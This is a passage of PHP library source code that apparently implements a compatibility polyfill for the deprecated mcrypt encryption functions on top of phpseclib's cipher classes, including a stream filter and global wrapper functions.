     * @param string $lib_dir optional
     * @return array
     * @access public
     */
    function phpseclib_mcrypt_list_algorithms($lib_dir = '')
    {
        return array(
            'rijndael-128',
            'twofish',
            'rijndael-192',
            'blowfish-compat',
            'des',
            'rijndael-256',
            'blowfish',
            'rc2',
            'tripledes',
            'arcfour'
        );
    }

/**
     * Gets an array of all supported modes
     *
     * @param string $lib_dir optional
     * @return array
     * @access public
     */
    function phpseclib_mcrypt_list_modes($lib_dir = '')
    {
        return array(
            'cbc',
            'cfb',
            'ctr',
            'ecb',
            'ncfb',
            'nofb',
            //'ofb',
            'stream'
        );
    }

/**
     * Creates an initialization vector (IV) from a random source
     *
     * The IV is only meant to give an alternative seed to the encryption routines. This IV does not need
     * to be secret at all, though it can be desirable. You even can send it along with your ciphertext
     * without losing security.
     *
     * @param int $size
     * @param int $source optional
     * @return string
     * @access public
     */
    function phpseclib_mcrypt_create_iv($size, $source = MCRYPT_DEV_URANDOM)
    {
        if ($size < 1 || $size > 0x7FFFFFFF) {
            trigger_error('mcrypt_create_iv(): Cannot create an IV with a size of less than 1 or greater than 2147483647', E_USER_WARNING);
            return '';
        }
        return Random::string($size);
    }

/**
     * Opens the module of the algorithm and the mode to be used
     *
     * This function opens the module of the algorithm and the mode to be used. The name of the algorithm
     * is specified in algorithm, e.g. "twofish" or is one of the MCRYPT_ciphername constants. The module
     * is closed by calling mcrypt_module_close().
     *
     * @param string $algorithm
     * @param string $algorithm_directory
     * @param string $mode
     * @param string $mode_directory
     * @return object
     * @access public
     */
    function phpseclib_mcrypt_module_open($algorithm, $algorithm_directory, $mode, $mode_directory)
    {
        $modeMap = array(
            'ctr' => Base::MODE_CTR,
            'ecb' => Base::MODE_ECB,
            'cbc' => Base::MODE_CBC,
            'cfb' => Base::MODE_CFB8,
            'ncfb'=> Base::MODE_CFB,
            'nofb'=> Base::MODE_OFB,
            'stream' => Base::MODE_STREAM
        );
        switch (true) {
            case !isset($modeMap[$mode]):
            case $mode == 'stream' && $algorithm != 'arcfour':
            case $algorithm == 'arcfour' && $mode != 'stream':
                trigger_error('mcrypt_module_open(): Could not open encryption module', E_USER_WARNING);
                return false;
        }
        switch ($algorithm) {
            case 'rijndael-128':
                $cipher = new Rijndael($modeMap[$mode]);
                $cipher->setBlockLength(128);
                break;
            case 'twofish':
                $cipher = new Twofish($modeMap[$mode]);
                break;
            case 'rijndael-192':
                $cipher = new Rijndael($modeMap[$mode]);
                $cipher->setBlockLength(192);
                break;
            case 'des':
                $cipher = new DES($modeMap[$mode]);
                break;
            case 'rijndael-256':
                $cipher = new Rijndael($modeMap[$mode]);
                $cipher->setBlockLength(256);
                break;
            case 'blowfish':
                $cipher = new Blowfish($modeMap[$mode]);
                break;
            case 'rc2':
                $cipher = new RC2($modeMap[$mode]);
                break;
            case'tripledes':
                $cipher = new TripleDES($modeMap[$mode]);
                break;
            case 'arcfour':
                $cipher = new RC4();
                break;
            default:
                trigger_error('mcrypt_module_open(): Could not open encryption module', E_USER_WARNING);
                return false;
        }

$cipher->mcrypt_mode = $mode;
        $cipher->disablePadding();

return $cipher;
    }

/**
     * Returns the maximum supported keysize of the opened mode
     *
     * Gets the maximum supported key size of the algorithm in bytes.
     *
     * @param \phpseclib\Crypt\Base $td
     * @return int
     * @access public
     */
    function phpseclib_mcrypt_enc_get_key_size(Base $td)
    {
        // invalid parameters with mcrypt result in warning's. type hinting, as this function is doing,
        // produces a catchable fatal error.

$reflection = new \ReflectionClass($td);

switch ($reflection->getShortName()) {
            case 'Rijndael':
            case 'Twofish':
                return 32;
            case 'DES':
                return 8;
            case 'TripleDES':
                return 24;
            case 'RC4':
                return 256;
            case 'Blowfish':
                return 56;
            case 'RC2':
                return 128;
        }
    }

/**
     * Gets the name of the specified cipher
     *
     * @param string $cipher
     * @return mixed
     * @access public
     */
    function phpseclib_mcrypt_get_cipher_name($cipher)
    {
        switch ($cipher) {
            case 'rijndael-128':
                return 'Rijndael-128';
            case 'twofish':
                return 'Twofish';
            case 'rijndael-192':
                return 'Rijndael-192';
            case 'des':
                return 'DES';
            case 'rijndael-256':
                return 'Rijndael-256';
            case 'blowfish':
                return 'Blowfish';
            case 'rc2':
                return 'RC2';
            case 'tripledes':
                return '3DES';
            case 'arcfour':
                return 'RC4';
            default:
                return false;
        }
    }

/**
     * Gets the block size of the specified cipher
     *
     * @param string $cipher
     * @param string $mode optional
     * @return int
     * @access public
     */
    function phpseclib_mcrypt_get_block_size($cipher, $mode = false)
    {
        if (!$mode) {
            $mode = $cipher == 'rc4' ? 'stream' : 'cbc';
        }
        $td = @phpseclib_mcrypt_module_open($cipher, '', $mode, '');
        if ($td === false) {
            trigger_error('mcrypt_get_block_size(): Module initialization failed', E_USER_WARNING);
            return false;
        }
        return phpseclib_mcrypt_enc_get_block_size($td);
    }

/**
     * Gets the key size of the specified cipher
     *
     * @param string $cipher
     * @param string $mode optional
     * @return int
     * @access public
     */
    function phpseclib_mcrypt_get_key_size($cipher, $mode = false)
    {
        if (!$mode) {
            $mode = $cipher == 'rc4' ? 'stream' : 'cbc';
        }
        $td = @phpseclib_mcrypt_module_open($cipher, '', $mode, '');
        if ($td === false) {
            trigger_error('mcrypt_get_key_size(): Module initialization failed', E_USER_WARNING);
            return false;
        }
        return phpseclib_mcrypt_enc_get_key_size($td);
    }

/**
     * Returns the size of the IV belonging to a specific cipher/mode combination
     *
     * @param string $cipher
     * @param string $mode
     * @return int
     * @access public
     */
    function phpseclib_mcrypt_get_iv_size($cipher, $mode)
    {
        $td = @phpseclib_mcrypt_module_open($cipher, '', $mode, '');
        if ($td === false) {
            trigger_error('mcrypt_get_iv_size(): Module initialization failed', E_USER_WARNING);
            return false;
        }
        return phpseclib_mcrypt_enc_get_iv_size($td);
    }

/**
     * Returns the maximum supported keysize of the opened mode
     *
     * Gets the maximum supported keysize of the opened mode.
     *
     * @param string $algorithm
     * @param string $lib_dir
     * @return int
     * @access public
     */
    function phpseclib_mcrypt_module_get_algo_key_size($algorithm, $lib_dir = '')
    {
        $mode = $algorithm == 'rc4' ? 'stream' : 'cbc';
        $td = @phpseclib_mcrypt_module_open($algorithm, '', $mode, '');
        if ($td === false) {
            trigger_error('mcrypt_module_get_algo_key_size(): Module initialization failed', E_USER_WARNING);
            return false;
        }
        return phpseclib_mcrypt_enc_get_key_size($td);
    }

/**
     * Returns the size of the IV of the opened algorithm
     *
     * This function returns the size of the IV of the algorithm specified by the encryption
     * descriptor in bytes. An IV is used in cbc, cfb and ofb modes, and in some algorithms
     * in stream mode.
     *
     * @param \phpseclib\Crypt\Base $td
     * @return int
     * @access public
     */
    function phpseclib_mcrypt_enc_get_iv_size(Base $td)
    {
        return $td->getBlockLength() >> 3;
    }

/**
     * Returns the blocksize of the opened algorithm
     *
     * Gets the blocksize of the opened algorithm.
     *
     * @param \phpseclib\Crypt\Base $td
     * @return int
     * @access public
     */
    function phpseclib_mcrypt_enc_get_block_size(Base $td)
    {
        return $td->getBlockLength() >> 3;
    }

/**
     * Returns the blocksize of the specified algorithm
     *
     * Gets the blocksize of the specified algorithm.
     *
     * @param string $algorithm
     * @param string $lib_dir
     * @return int
     * @access public
     */
    function phpseclib_mcrypt_module_get_algo_block_size($algorithm, $lib_dir = '')
    {
        // cbc isn't a valid mode for rc4 but that's ok: -1 will still be returned
        $td = @phpseclib_mcrypt_module_open($algorithm, '', 'cbc', '');
        if ($td === false) {
            return -1;
        }
        return $td->getBlockLength() >> 3;
    }

/**
     * Returns the name of the opened algorithm
     *
     * This function returns the name of the algorithm.
     *
     * @param \phpseclib\Crypt\Base $td
     * @return string|bool
     * @access public
     */
    function phpseclib_mcrypt_enc_get_algorithms_name(Base $td)
    {
        $reflection = new \ReflectionObject($td);
        switch ($reflection->getShortName()) {
            case 'Rijndael':
                return 'RIJNDAEL-' . $td->getBlockLength();
            case 'Twofish':
                return 'TWOFISH';
            case 'Blowfish':
                return 'BLOWFISH'; // what about BLOWFISH-COMPAT?
            case 'DES':
                return 'DES';
            case 'RC2':
                return 'RC2';
            case 'TripleDES':
                return 'TRIPLEDES';
            case 'RC4':
                return 'ARCFOUR';
        }

return false;
    }

/**
     * Returns the name of the opened mode
     *
     * This function returns the name of the mode.
     *
     * @param \phpseclib\Crypt\Base $td
     * @return string|bool
     * @access public
     */
    function phpseclib_mcrypt_enc_get_modes_name(Base $td)
    {
        $modeMap = array(
            Base::MODE_CTR => 'CTR',
            Base::MODE_ECB => 'ECB',
            Base::MODE_CBC => 'CBC',
            Base::MODE_CFB => 'nCFB',
            Base::MODE_OFB => 'nOFB',
            Base::MODE_STREAM => 'STREAM'
        );

return isset($modeMap[$td->mode]) ? $modeMap[$td->mode] : false;
    }

/**
     * Checks whether the encryption of the opened mode works on blocks
     *
     * Tells whether the algorithm of the opened mode works on blocks (e.g. FALSE for stream, and TRUE for cbc, cfb, ofb)..
     *
     * @param \phpseclib\Crypt\Base $td
     * @return bool
     * @access public
     */
    function phpseclib_mcrypt_enc_is_block_algorithm_mode(Base $td)
    {
        return $td->mode != Base::MODE_STREAM;
    }

/**
     * Checks whether the algorithm of the opened mode is a block algorithm
     *
     * Tells whether the algorithm of the opened mode is a block algorithm.
     *
     * @param \phpseclib\Crypt\Base $td
     * @return bool
     * @access public
     */
    function phpseclib_mcrypt_enc_is_block_algorithm(Base $td)
    {
        return phpseclib_mcrypt_enc_get_algorithms_name($td) != 'ARCFOUR';
    }

/**
     * Checks whether the opened mode outputs blocks
     *
     * Tells whether the opened mode outputs blocks (e.g. TRUE for cbc and ecb, and FALSE for cfb and stream).
     *
     * @param \phpseclib\Crypt\Base $td
     * @return bool
     * @access public
     */
    function phpseclib_mcrypt_enc_is_block_mode(Base $td)
    {
        return $td->mode == Base::MODE_ECB || $td->mode == Base::MODE_CBC;
    }

/**
     * Runs a self test on the opened module
     *
     * This function runs the self test on the algorithm specified by the descriptor td.
     *
     * @param \phpseclib\Crypt\Base $td
     * @return bool
     * @access public
     */
    function phpseclib_mcrypt_enc_self_test(Base $td)
    {
        return true;
    }

/**
     * This function initializes all buffers needed for en/decryption.
     *
     * @param \phpseclib\Crypt\Base $td
     * @param string $key
     * @param string $iv
     * @return int
     * @access public
     */
    function phpseclib_mcrypt_generic_init(Base $td, $key, $iv)
    {
        $iv_size = phpseclib_mcrypt_enc_get_iv_size($td);
        if (strlen($iv) != $iv_size && $td->mcrypt_mode != 'ecb') {
            trigger_error('mcrypt_generic_init(): Iv size incorrect; supplied length: ' . strlen($iv) . ', needed: ' . $iv_size, E_USER_WARNING);
        }
        if (!strlen($key)) {
            trigger_error('mcrypt_generic_init(): Key size is 0', E_USER_WARNING);
            return -3;
        }
        $max_key_size = phpseclib_mcrypt_enc_get_key_size($td);
        if (strlen($key) > $max_key_size) {
            trigger_error('mcrypt_generic_init(): Key size too large; supplied length: ' . strlen($key) . ', max: ' . $max_key_size, E_USER_WARNING);
        }
        phpseclib_set_key($td, $key);
        phpseclib_set_iv($td, $iv);

$td->enableContinuousBuffer();
        $td->mcrypt_polyfill_init = true;

return 0;
    }

/**
     * Encrypt / decrypt data
     *
     * Performs checks common to both mcrypt_generic and mdecrypt_generic
     *
     * @param \phpseclib\Crypt\Base $td
     * @param string $data
     * @param string $op
     * @return string|bool
     * @access private
     */
    function phpseclib_mcrypt_generic_helper(Base $td, &$data, $op)
    {
        // in the orig mcrypt, if mcrypt_generic_init() was called and an empty key was provided you'd get the following error:
        // Warning: mcrypt_generic(): supplied resource is not a valid MCrypt resource
        // that error doesn't really make a lot of sense in this context since $td is not a resource nor should it be one.
        // in light of that we'll just display the same error that you get when you don't call mcrypt_generic_init() at all
        if (!isset($td->mcrypt_polyfill_init)) {
            trigger_error('m' . $op . '_generic(): Operation disallowed prior to mcrypt_generic_init().', E_USER_WARNING);
            return false;
        }

// phpseclib does not currently provide a way to retrieve the mode once it has been set via "public" methods
        if (phpseclib_mcrypt_module_is_block_mode($td->mcrypt_mode)) {
            $block_length = phpseclib_mcrypt_enc_get_iv_size($td);
            $extra = strlen($data) % $block_length;
            if ($extra) {
                $data.= str_repeat("\0", $block_length - $extra);
            }
        }

return $op == 'crypt' ? $td->encrypt($data) : $td->decrypt($data);
    }

/**
     * This function encrypts data
     *
     * This function encrypts data. The data is padded with "\0" to make sure the length of the data
     * is n * blocksize. This function returns the encrypted data. Note that the length of the
     * returned string can in fact be longer than the input, due to the padding of the data.
     *
     * If you want to store the encrypted data in a database make sure to store the entire string as
     * returned by mcrypt_generic, or the string will not entirely decrypt properly. If your original
     * string is 10 characters long and the block size is 8 (use mcrypt_enc_get_block_size() to
     * determine the blocksize), you would need at least 16 characters in your database field. Note
     * the string returned by mdecrypt_generic() will be 16 characters as well...use rtrim($str, "\0")
     * to remove the padding.
     *
     * If you are for example storing the data in a MySQL database remember that varchar fields
     * automatically have trailing spaces removed during insertion. As encrypted data can end in a
     * space (ASCII 32), the data will be damaged by this removal. Store data in a tinyblob/tinytext
     * (or larger) field instead.
     *
     * @param \phpseclib\Crypt\Base $td
     * @param string $data
     * @return string|bool
     * @access public
     */
    function phpseclib_mcrypt_generic(Base $td, $data)
    {
        return phpseclib_mcrypt_generic_helper($td, $data, 'crypt');
    }

/**
     * Decrypts data
     *
     * This function decrypts data. Note that the length of the returned string can in fact be
     * longer than the unencrypted string, due to the padding of the data.
     *
     * @param \phpseclib\Crypt\Base $td
     * @param string $data
     * @return string|bool
     * @access public
     */
    function phpseclib_mdecrypt_generic(Base $td, $data)
    {
        return phpseclib_mcrypt_generic_helper($td, $data, 'decrypt');
    }

/**
     * This function deinitializes an encryption module
     *
     * This function terminates encryption specified by the encryption descriptor (td).
     * It clears all buffers, but does not close the module. You need to call
     * mcrypt_module_close() yourself. (But PHP does this for you at the end of the
     * script.)
     *
     * @param \phpseclib\Crypt\Base $td
     * @return bool
     * @access public
     */
    function phpseclib_mcrypt_generic_deinit(Base $td)
    {
        if (!isset($td->mcrypt_polyfill_init)) {
            trigger_error('mcrypt_generic_deinit(): Could not terminate encryption specifier', E_USER_WARNING);
            return false;
        }

$td->disableContinuousBuffer();
        unset($td->mcrypt_polyfill_init);
        return true;
    }

/**
     * Closes the mcrypt module
     *
     * Closes the specified encryption handle.
     *
     * @param \phpseclib\Crypt\Base $td
     * @return bool
     * @access public
     */
    function phpseclib_mcrypt_module_close(Base $td)
    {
        //unset($td->mcrypt_polyfill_init);
        return true;
    }

/**
     * Returns an array with the supported keysizes of the opened algorithm
     *
     * Returns an array with the key sizes supported by the specified algorithm.
     * If it returns an empty array then all key sizes between 1 and mcrypt_module_get_algo_key_size()
     * are supported by the algorithm.
     *
     * @param string $algorithm
     * @param string $lib_dir optional
     * @return array
     * @access public
     */
    function phpseclib_mcrypt_module_get_supported_key_sizes($algorithm, $lib_dir = '')
    {
        switch ($algorithm) {
            case 'rijndael-128':
            case 'rijndael-192':
            case 'rijndael-256':
            case 'twofish':
                return array(16, 24, 32);
            case 'des':
                return array(8);
            case 'tripledes':
                return array(24);
            //case 'arcfour':
            //case 'blowfish':
            //case 'rc2':
            default:
                return array();
        }
    }

/**
     * Returns an array with the supported keysizes of the opened algorithm
     *
     * Gets the supported key sizes of the opened algorithm.
     *
     * @param \phpseclib\Crypt\Base $td
     * @return array
     * @access public
     */
    function phpseclib_mcrypt_enc_get_supported_key_sizes(Base $td)
    {
        $algorithm = strtolower(phpseclib_mcrypt_enc_get_algorithms_name($td));
        return phpseclib_mcrypt_module_get_supported_key_sizes($algorithm);
    }

/**
     * Returns if the specified module is a block algorithm or not
     *
     * This function returns TRUE if the mode is for use with block algorithms, otherwise it returns FALSE. (e.g. FALSE for stream, and TRUE for cbc, cfb, ofb).
     *
     * @param string $mode
     * @param string $lib_dir optional
     * @return bool
     * @access public
     */
    function phpseclib_mcrypt_module_is_block_algorithm_mode($mode, $lib_dir = '')
    {
        switch ($mode) {
            case 'cbc':
            case 'ctr':
            case 'ecb':
            case 'cfb':
            case 'ncfb':
            case 'nofb':
                return true;
        }
        return false;
    }

/**
     * This function checks whether the specified algorithm is a block algorithm
     *
     * This function returns TRUE if the specified algorithm is a block algorithm, or FALSE if it is a stream one.
     *
     * @param string $mode
     * @param string $lib_dir optional
     * @return bool
     * @access public
     */
    function phpseclib_mcrypt_module_is_block_algorithm($algorithm, $lib_dir = '')
    {
        switch ($algorithm) {
            case 'rijndael-128':
            case 'twofish':
            case 'rijndael-192':
            case 'des':
            case 'rijndael-256':
            case 'blowfish':
            case 'rc2':
            case 'tripledes':
                return true;
        }
        return false;
    }

/**
     * Returns if the specified mode outputs blocks or not
     *
     * This function returns TRUE if the mode outputs blocks of bytes or FALSE if it outputs just bytes. (e.g. TRUE for cbc and ecb, and FALSE for cfb and stream).
     *
     * @param string $mode
     * @param string $lib_dir optional
     * @return bool
     * @access public
     */
    function phpseclib_mcrypt_module_is_block_mode($mode, $lib_dir = '')
    {
        switch ($mode) {
            case 'cbc':
            case 'ecb':
                return true;
        }
        return false;
    }

/**
     * Returns if the specified mode can use an IV or not
     *
     * @param string $mode
     * @return bool
     * @access private
     */
    function phpseclib_mcrypt_module_is_iv_mode($mode)
    {
        switch ($mode) {
            case 'ecb':
            case 'stream':
                return false;
        }
        return true;
    }

/**
     * This function runs a self test on the specified module
     *
     * This function runs the self test on the algorithm specified.
     *
     * @param string $mode
     * @param string $lib_dir optional
     * @return bool
     * @access public
     */
    function phpseclib_mcrypt_module_self_test($algorithm, $lib_dir = '')
    {
        return in_array($algorithm, phpseclib_mcrypt_list_algorithms());
    }

/**
     * Encrypt / decrypt data
     *
     * Performs checks common to both mcrypt_encrypt and mcrypt_decrypt
     *
     * @param string $cipher
     * @param string $key
     * @param string $data
     * @param string $mode
     * @param string $iv
     * @param string $op
     * @return string|bool
     * @access private
     */
    function phpseclib_mcrypt_helper($cipher, $key, $data, $mode, $iv, $op)
    {
        // PHP 5.6 made mcrypt_encrypt() a lot less tolerant of bad input but it neglected to change
        // anything about mcrypt_generic(). and despite the changes insufficiently long plaintext
        // is still accepted.
        $keyLen = strlen($key);
        $sizes = phpseclib_mcrypt_module_get_supported_key_sizes($cipher);
        if (count($sizes) && !in_array($keyLen, $sizes)) {
            trigger_error(
                'mcrypt_' . $op . '(): Key of size ' . $keyLen . ' not supported by this algorithm. Only keys of sizes ' .
                preg_replace('#, (\d+)$#', ' or $1', implode(', ', $sizes)) . ' supported',
                E_USER_WARNING
            );
            return false;
        }
        $td = @phpseclib_mcrypt_module_open($cipher, '', $mode, '');
        if ($td === false) {
            trigger_error('mcrypt_encrypt(): Module initialization failed', E_USER_WARNING);
            return false;
        }
        $maxKeySize = phpseclib_mcrypt_enc_get_key_size($td);
        if (!count($sizes) && $keyLen > $maxKeySize) {
            trigger_error(
                'mcrypt_' . $op . '(): Key of size ' . $keyLen . ' not supported by this algorithm. Only keys of size 1 to ' . $maxKeySize . ' supported',
                E_USER_WARNING
            );
            return false;
        }
        if (phpseclib_mcrypt_module_is_iv_mode($mode)) {
            $iv_size = phpseclib_mcrypt_enc_get_iv_size($td);
            if (!isset($iv) && $iv_size) {
                trigger_error(
                    'mcrypt_' . $op . '(): Encryption mode requires an initialization vector of size ' . $iv_size,
                    E_USER_WARNING
                );
                return false;
            }
            if (strlen($iv) != $iv_size) {
                trigger_error(
                    'mcrypt_' . $op . '(): Received initialization vector of size ' . strlen($iv) . ', but size ' . $iv_size . ' is required for this encryption mode',
                    E_USER_WARNING
                );
                return false;
            }
        } else {
            $iv = null;
        }
        phpseclib_mcrypt_generic_init($td, $key, $iv);
        return $op == 'encrypt' ? phpseclib_mcrypt_generic($td, $data) : phpseclib_mdecrypt_generic($td, $data);
    }

/**
     * Encrypts plaintext with given parameters
     *
     * Encrypts the data and returns it.
     *
     * @param string $cipher
     * @param string $key
     * @param string $data
     * @param string $mode
     * @param string $iv optional
     * @return string|bool
     * @access public
     */
    function phpseclib_mcrypt_encrypt($cipher, $key, $data, $mode, $iv = null)
    {
        return phpseclib_mcrypt_helper($cipher, $key, $data, $mode, $iv, 'encrypt');
    }

/**
     * Decrypts crypttext with given parameters
     *
     * Decrypts the data and returns the unencrypted data.
     *
     * @param string $cipher
     * @param string $key
     * @param string $data
     * @param string $mode
     * @param string $iv optional
     * @return string|bool
     * @access public
     */
    function phpseclib_mcrypt_decrypt($cipher, $key, $data, $mode, $iv = null)
    {
        return phpseclib_mcrypt_helper($cipher, $key, $data, $mode, $iv, 'decrypt');
    }

/**
     * mcrypt_compat stream filter
     *
     * @author  Jim Wigginton <terrafrost@php.net>
     * @access  public
     */
    class phpseclib_mcrypt_filter extends php_user_filter
    {
        /**
         * The Cipher Object
         *
         * @var object
         * @access private
         */
        private $cipher;

/**
         * To encrypt or decrypt
         *
         * @var boolean
         * @access private
         */
        private $op;

/**
         * Buffer for ECB / CBC
         *
         * @var string
         * @access private
         */
        private $buffer = '';

/**
         * Cipher block length
         *
         * @var int
         * @access private
         */
        private $block_length;

/**
         * Cipher block mode
         *
         * @var bool
         * @access private
         */
        private $block_mode;

/**
         * Buffer handle
         *
         * @var resource
         * @access private
         */
        private $bh;

/**
         * Called when applying the filter
         *
         * This method is called whenever data is read from or written to the attached stream
         * (such as with fread() or fwrite()).
         *
         * @param resource $in
         * @param resource $out
         * @param int $consumed
         * @param bool $closing
         * @link http://php.net/manual/en/php-user-filter.filter.php
         * @return int
         * @access public
         */
        public function filter($in, $out, &$consumed, $closing)
        {
            $newlen = 0;
            while ($bucket = stream_bucket_make_writeable($in)) {
                if ($this->block_mode) {
                    $bucket->data = $this->buffer . $bucket->data;
                    $extra = strlen($bucket->data) % $this->block_length;
                    if (!$extra) {
                        $this->buffer = '';
                    } else {
                        $this->buffer = substr($bucket->data, -$extra);
                        $bucket->data = substr($bucket->data, 0, -$extra);
                    }
                    if (!strlen($bucket->data)) {
                        continue;
                    }
                }

$bucket->data = $this->op ?
                    $this->cipher->encrypt($bucket->data) :
                    $this->cipher->decrypt($bucket->data);
                $newlen+= strlen($bucket->data);
                $consumed+= $bucket->datalen;

stream_bucket_append($out, $bucket);
            }

if ($closing && strlen($this->buffer)) {
                $temp = $this->buffer . str_repeat("\0", $this->block_length - strlen($this->buffer));
                $data = $this->op ?
                    $this->cipher->encrypt($temp) :
                    $this->cipher->decrypt($temp);
                $newlen+= strlen($data);
                $bucket = stream_bucket_new($this->bh, $data);
                $this->buffer = '';
                $newlen = 0;
                stream_bucket_append($out, $bucket);
            }

return $this->block_mode && $newlen && $newlen < $this->block_length ? PSFS_FEED_ME : PSFS_PASS_ON;
        }

/**
         * Called when creating the filter
         *
         * This method is called during instantiation of the filter class object.
         * If your filter allocates or initializes any other resources (such as a buffer),
         * this is the place to do it.
         *
         * @link http://php.net/manual/en/php-user-filter.oncreate.php
         * @return bool
         * @access public
         */
        public function onCreate()
        {
            if (!isset($this->params) || !is_array($this->params)) {
                trigger_error('stream_filter_append(): Filter parameters for ' . $this->filtername . ' must be an array');
                return false;
            }
            if (!isset($this->params['iv']) || !is_string($this->params['iv'])) {
                trigger_error('stream_filter_append(): Filter parameter[iv] not provided or not of type: string');
                return false;
            }
            if (!isset($this->params['key']) || !is_string($this->params['key'])) {
                trigger_error('stream_filter_append(): key not specified or is not a string');
                return false;
            }
            $filtername = substr($this->filtername, 0, 10) == 'phpseclib.' ?
                substr($this->filtername, 10) :
                $this->filtername;
            $parts = explode('.', $filtername);
            if (count($parts) != 2) {
                trigger_error('stream_filter_append(): Could not open encryption module');
                return false;
            }
            switch ($parts[0]) {
                case 'mcrypt':
                case 'mdecrypt':
                    break;
                default:
                    trigger_error('stream_filter_append(): Could not open encryption module');
                    return false;
            }
            $mode = isset($this->params['mode']) ? $this->params['mode'] : 'cbc';
            $cipher = @phpseclib_mcrypt_module_open($parts[1], '', $mode, '');
            if ($cipher === false) {
                trigger_error('stream_filter_append(): Could not open encryption module');
                return false;
            }

$cipher->enableContinuousBuffer();
            phpseclib_set_key($cipher, $this->params['key']);
            phpseclib_set_iv($cipher, $this->params['iv']);

$this->op = $parts[0] == 'mcrypt';
            $this->cipher = $cipher;
            $this->block_length = phpseclib_mcrypt_enc_get_iv_size($cipher);
            $this->block_mode = phpseclib_mcrypt_module_is_block_mode($mode);

if ($this->block_mode) {
                $this->bh = fopen('php://memory', 'w+');
            }

return true;
        }

/**
         * Called when closing the filter
         *
         * This method is called upon filter shutdown (typically, this is also during stream shutdown), and is
         * executed after the flush method is called. If any resources were allocated or initialized during
         * onCreate() this would be the time to destroy or dispose of them.
         *
         * @link http://php.net/manual/en/php-user-filter.onclose.php
         * @access public
         */
        public function onClose()
        {
            if ($this->bh) {
                fclose($this->bh);
            }
        }
    }

stream_filter_register('phpseclib.mcrypt.*', 'phpseclib_mcrypt_filter');
    stream_filter_register('phpseclib.mdecrypt.*', 'phpseclib_mcrypt_filter');
}

// define
if (!function_exists('mcrypt_list_algorithms')) {
    function mcrypt_list_algorithms($lib_dir = '')
    {
        return phpseclib_mcrypt_list_algorithms($lib_dir);
    }

function mcrypt_list_modes($lib_dir = '')
    {
        return phpseclib_mcrypt_list_modes($lib_dir);
    }

function mcrypt_create_iv($size, $source = MCRYPT_DEV_URANDOM)
    {
        return phpseclib_mcrypt_create_iv($size, $source);
    }

function mcrypt_module_open($algorithm, $algorithm_directory, $mode, $mode_directory)
    {
        return phpseclib_mcrypt_module_open($algorithm, $algorithm_directory, $mode, $mode_directory);
    }

function mcrypt_enc_get_key_size(Base $td)
    {
        return phpseclib_mcrypt_enc_get_key_size($td);
    }

function mcrypt_enc_get_iv_size(Base $td)
    {
        return phpseclib_mcrypt_enc_get_iv_size($td);
    }

function mcrypt_enc_get_block_size(Base $td)
    {
        return phpseclib_mcrypt_enc_get_block_size($td);
    }

function mcrypt_generic_init(Base $td, $key, $iv)
    {
        return phpseclib_mcrypt_generic_init($td, $key, $iv);
    }

function mcrypt_generic(Base $td, $data)
    {
        return phpseclib_mcrypt_generic($td, $data);
    }

function mcrypt_generic_deinit(Base $td)
    {
        return phpseclib_mcrypt_generic_deinit($td);
    }

function mcrypt_module_close(Base $td)
    {
        return phpseclib_mcrypt_module_close($td);
    }

function mdecrypt_generic(Base $td, $data)
    {
        return phpseclib_mdecrypt_generic($td, $data);
    }

function mcrypt_enc_get_algorithms_name(Base $td)
    {
        return phpseclib_mcrypt_enc_get_algorithms_name($td);
    }

function mcrypt_enc_get_modes_name(Base $td)
    {
        return phpseclib_mcrypt_enc_get_modes_name($td);
    }

function mcrypt_enc_is_block_algorithm_mode(Base $td)
    {
        return phpseclib_mcrypt_enc_is_block_algorithm_mode($td);
    }

function mcrypt_enc_is_block_algorithm(Base $td)
    {
        return phpseclib_mcrypt_enc_is_block_algorithm($td);
    }

function mcrypt_enc_self_test(Base $td)
    {
        return phpseclib_mcrypt_enc_self_test($td);
    }

function mcrypt_module_get_supported_key_sizes($algorithm, $lib_dir = '')
    {
        return phpseclib_mcrypt_module_get_supported_key_sizes($algorithm, $lib_dir);
    }

function mcrypt_encrypt($cipher, $key, $data, $mode, $iv = null)
    {
        return phpseclib_mcrypt_encrypt($cipher, $key, $data, $mode, $iv);
    }

function mcrypt_module_get_algo_block_size($algorithm, $lib_dir = '')
    {
        return phpseclib_mcrypt_module_get_algo_block_size($algorithm, $lib_dir);
    }

function mcrypt_get_block_size($cipher, $mode = '')
    {
        return phpseclib_mcrypt_get_block_size($cipher, $mode);
    }

function mcrypt_get_cipher_name($cipher)
    {
        return phpseclib_mcrypt_get_cipher_name($cipher);
    }

function mcrypt_get_key_size($cipher, $mode = false)
    {
        return phpseclib_mcrypt_get_key_size($cipher, $mode);
    }

function mcrypt_get_iv_size($cipher, $mode)
    {
        return phpseclib_mcrypt_get_iv_size($cipher, $mode);
    }

function mcrypt_module_get_algo_key_size($algorithm, $lib_dir = '')
    {
        return phpseclib_mcrypt_module_get_algo_key_size($algorithm, $lib_dir);
    }

function mcrypt_enc_get_supported_key_sizes(Base $td)
    {
        return phpseclib_mcrypt_enc_get_supported_key_sizes($td);
    }

function mcrypt_module_is_block_algorithm_mode($mode, $lib_dir = '')
    {
        return phpseclib_mcrypt_module_is_block_algorithm_mode($mode, $lib_dir);
    }

function mcrypt_module_is_block_algorithm($algorithm, $lib_dir=  '')
    {
        return phpseclib_mcrypt_module_is_block_algorithm($algorithm, $lib_dir);
    }

function mcrypt_module_is_block_mode($mode, $lib_dir = '')
    {
        return phpseclib_mcrypt_module_is_block_mode($mode, $lib_dir);
    }

function mcrypt_module_self_test($algorithm, $lib_dir = '')
    {
        return phpseclib_mcrypt_module_self_test($algorithm, $lib_dir);
    }

function mcrypt_decrypt($cipher, $key, $data, $mode, $iv = null)
    {
        return phpseclib_mcrypt_decrypt($cipher, $key, $data, $mode, $iv);
    }

//if (!in_array('mcrypt.*', stream_get_filters()) {
    stream_filter_register('mcrypt.*', 'phpseclib_mcrypt_filter');
    stream_filter_register('mdecrypt.*', 'phpseclib_mcrypt_filter');
    //}
}